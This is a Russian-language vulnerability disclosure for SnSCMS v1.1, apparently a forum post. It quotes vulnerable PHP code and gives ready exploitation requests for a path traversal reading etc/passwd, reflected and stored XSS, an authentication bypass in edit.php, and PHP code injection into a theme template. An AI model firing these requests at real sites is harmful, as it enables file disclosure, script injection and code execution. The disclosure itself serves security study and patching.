SnSCMS v1.1
Download: http://code.google.com/p/snscms/
Читалка(win-платформа && mq==off):
Уязвимый файл:
./function.php
Код:
PHP код:
//function.php
function getPath($pageName) {
global $config;
$pageName = str_replace("/", "", $pageName);
return $config["data_dir"] . "/" . $pageName . ".html";
}
function getPageContent($pageName) {
global $config;
$path = getPath($pageName);
if (!file_exists($path)) $path = getPath($config["special_page_prefix"] . $config["view_error_page"]);
$pageContent = getContent($path);
...
function getContent($path) {
$file = @fopen($path, "rt");
if ($file) {
$content = fread($file, filesize($path) + 1);
fclose($file);
return $content;
} else {
return "";
}
}
//view.php
...
$page = $_GET["page"];
...
$pageContent = getPageContent($page);
...
Эксплуатация:
./index.php?action=view&page=..\..\..\..\..\..\..\et c\passwd%00
pXSS(-):
Уязвимый файл:
./view.php
Эксплуатация:
./index.php?action=view&page=</title><script>alert(1);</script>
aXSS(-):
Уязвимый файл:
./edit.php
Код:
PHP код:
if (isset($config)) {
if (!checkAdminPrivilege()) {
redirectUrl("index.php?action=view&page=". $config["special_page_prefix"] . $config["access_error_page"]); //Location header ...
}
if (isset($_POST["save"])) {
$page = urldecode($_POST["page"]);
$text = $_POST["text"];
savePageContent($page, $text);
...
Как видно из кода, скрипт продолжает работу после того, как отправляет заголовок, который должен переместить браузер на страницу с ошибкой. Таким образом, можно просто отправить верно заполненные $_POST["text", "page", "save"], и скрипт выполнит работу.
Можно также создать свой файл, но пользы от этого нет, так как файл не сможет получить расширение, отличное от .html из-за urldecode(), который не даст использовать NULL-байт.
Эксплуатация:
./index.php?action=edit&page=_error_access
POST:
text=<script>alert(12);</script>&save=Save&page=_error_access
Теперь при каждой ошибке на сайте браузер посетителя будет получать наш джава-скрипт.
Так можно редактировать любой html файл, из папки pages.
PHP-injection(win-платформа):
Логическое продолжение предыдущей уязвимости:
можно редактировать файл шаблона, имеющий расширение .html, который тем не менее будет проинклужен, а, следовательно, выполнится php-код. Однако мешает то, что функция savePageContent() применяет к $page функцию getPath(), которая обрезает слеш (код функции был приведён выше). Посему возможно только использование обратного слеша, и как следствие уязвимость имеет место только на win-платформах.
Эксплуатация:
./index.php?action=edit
POST:
save=Save&page=..\themes\default\view_template&tex t=<?php phpinfo();?>